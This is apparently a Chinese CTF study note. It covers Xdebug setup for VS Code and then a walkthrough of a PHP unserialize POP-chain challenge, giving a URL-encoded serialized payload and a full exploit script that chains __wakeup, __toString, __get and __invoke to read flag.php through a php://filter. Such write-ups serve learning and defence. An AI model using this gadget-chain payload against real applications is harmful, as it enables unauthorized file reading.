安装Xdebug通过vscode调试
参考:https://www.cnblogs.com/phonecom/p/10340038.html#/c/subject/p/10340038.html
配置Xdebug文件时去掉分号
[XDebug] xdebug.profiler_output_dir="H:\phpstudy2016\tmp\xdebug" xdebug.trace_output_dir="H:\phpstudy2016\tmp\xdebug" zend_extension="H:\phpstudy2016\php\php-5.4.45\ext\php_xdebug.dll" xdebug.remote_enable = 1 xdebug.remote_autostart = 1 xdebug.remote_handler = "dbgp" xdebug.remote_port = "9001" xdebug.remote_host = "127.0.0.1" xdebug.remote_autostart = 1
题解参考
https://blog.csdn.net/weixin_43952190/article/details/106016260
http://t.zoukankan.com/yunqian2017-p-13817032.html
先将
O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A0%3A%22%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D
传入,尝试调试。
进入wakeup()函数
即wakeup()在用unserialize()时触发。
在wakeup中,要通过perg_match()将$this->source做字符串比较,若this->source是show类,调用toString()方法。
然后进入toString():当一个对象被当作一个字符串被调用
即
若是toString()中str赋值为一个实例化Test类,Test中无source属性,则调用get()方法:从不可访问的属性读取数据
$a->str=new Test();
如果get()中p赋值为Modifier类,相当于Modifier类被当作函数处理,调用invoke()方法:尝试将对象调用为函数时触发。
$a->str->p=new Modifier();
再来看一下exp代码
<?php
class Modifier {
protected $var='php://filter/read=convert.base64-encode/resource=flag.php' ;
}
class Show{
public $source;
public $str;
public function __construct($file){
$this->source = $file;
}
public function __toString(){
return "karsa";
}
}
class Test{
public $p;
}
$a = new Show('aaa');
$a->str = new Test();
$a->str->p = new Modifier();
$b = new Show($a);
echo urlencode(serialize($b));
?>
修改代码
class Show{ public $source; public $str; public function __construct($file){ $this->source = $file; echo var_dump($this->source); } public function __toString(){ return "karsa"; } }
object(Show)[1] public 'source' => string 'aaa' (length=3) public 'str' => object(Test)[2] public 'p' => object(Modifier)[3] protected 'var' => string 'php://filter/read=convert.base64-encode/resource=flag.php' (length=57)
可发现在执行$b=new Show($a)后,$this->source是Show类,$this->source->source="aaa",this->source->str是Test类,且无source属性。this->source->str->p为Modifier()